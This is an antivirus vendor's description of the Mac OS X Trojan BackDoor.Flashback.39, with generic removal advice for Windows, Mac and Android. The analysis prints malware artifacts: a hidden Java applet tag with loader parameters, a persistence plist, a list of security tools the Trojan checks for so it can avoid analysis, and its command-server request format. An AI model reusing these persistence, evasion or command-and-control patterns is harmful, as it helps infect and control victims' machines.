|Added to Dr.Web virus database:||2012-03-27|
|Virus description was added:||2012-04-05|
The Trojan horse for Mac OS X. Exploits a Java vulnerability to infect a system. Installation parameters are transferred with the applet parameters. Example:
<object type="application/x-java-applet" width="0" height="0"> <param name="s" value="1"/> <param name="q" value="2"/> <param name="svname" value="com.zeobit.keep"> <param name="svbname" value="mkeeper"> <param name="dname" value="Software Update"> <param name="lurl" value="188.8.131.52">'); <param name="archive" value="al-2.jar"> <param name="code" value="a.apl"> </object>
An exploit saves the executable and plist-file responsible for its launch to the hard drive.
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key><string>com.zeobit.keep</string> <key>ProgramArguments</key><array><string>/Users/<username>/.mkeeper</string></array> <key>RunAtLoad</key><true/> <key>StartInterval</key><integer>4212</integer> <key>StandardErrorPath</key><string>/dev/null</string> <key>StandardOutPath</key><string>/dev/null</string> </dict> </plist>
Once launched, the Trojan searches for the following components in the system and if at least one of them is found, the Trojan process ends:
* /Library/Little Snitch * /Developer/Applications/Xcode.app/Contents/MacOS/Xcode * /Applications/VirusBarrier X6.app * /Applications/iAntiVirus/iAntiVirus.app * /Applications/avast!.app * /Applications/ClamXav.app * /Applications/HTTPScoop.app * /Applications/Packet Peeper.app
After that it sends an installation success notification to a statistics server:
It generates a list of command servers and sends consecutive queries at control server addresses. The GET requests include the following string in the user-agent field:
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1; sv:%s; id:%s) Gecko/20100101 Firefox/9.0.1
Here sv is the bot version, id is a unique identifier for the machine (Hardware UUID).
After receiving a response from the control server, BackDoor.Flashback.39 searches the response for three tags:
##begin## ##sign## ##end##
If the RSA verification for the reply is successful, then the Trojan horse downloads and runs the payload on the infected machine.
For Microsoft Windows OS:
- If the operating system (OS) can be loaded (either normally or in safe mode), download the curing utility Dr.Web CureIt! and run a full scan of your computer and the removable media you use.
- If you can't load the OS, change the BIOS settings to load your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk or the Dr.Web® LiveDisk recording utility onto a USB drive and prepare the relevant media. After booting up with this media, run a full scan and cure whatever threats have been detected.
- If your OS has been locked by malware from the Trojan.Winlock family, use our unlocking service. If you failed to find the unlock code, follow the instructions provided in Section 2.
- On the loaded OS, run a full scan of all disk partitions using the Dr.Web Anti-virus for Linux.
For Mac OS X:
Run a full system scan using the free Dr.Web Light Scanner for Mac OS X. You can download it from the Apple App Store.
- If the mobile device is operating normally, download and install the free anti-virus Dr.Web for Android Light. Perform a full system scan and carry out the recommendations for removing any detected threats.
- If the mobile device has been locked by Android.Locker ransomware (the screen will be telling you that you have broken some law or demanding a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
- Start your smart phone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device or contact its manufacturer);
- Once you have activated safe mode, install the free anti-virus Dr.Web for Android Light onto the infected handheld and perform a full scan of the system; follow the steps recommended for neutralising the threats that have been detected;
- Switch off your device and turn it on as normal.